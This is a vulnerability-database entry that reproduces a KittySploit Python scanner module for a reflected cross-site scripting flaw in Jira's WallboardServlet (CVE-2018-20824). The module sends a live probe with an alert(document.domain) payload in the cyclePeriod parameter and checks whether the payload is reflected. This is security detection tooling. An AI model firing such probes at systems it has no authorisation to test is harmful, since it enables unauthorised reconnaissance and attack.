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Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Remote attackers can inject arbitrary HTML or JavaScript via XSS in Jira WallboardServlet.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The WallboardServlet resource in Jira before version 7."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting Detection',
        'description': 'The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'atlassian', 'jira', 'xss', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://jira.atlassian.com/browse/JRASERVER-69238',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-20824',
            'https://github.com/ARPSyndicate/kenzer-templates',
            'https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting',
        ],
        'cve': 'CVE-2018-20824',
    }

    def run(self):
        r = self.http_request(method="GET", path='/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('(?mi)timeout:\\salert\\(document\\.domain\\)',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting detected",
                path='/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 36.1
EPSS0.37986
3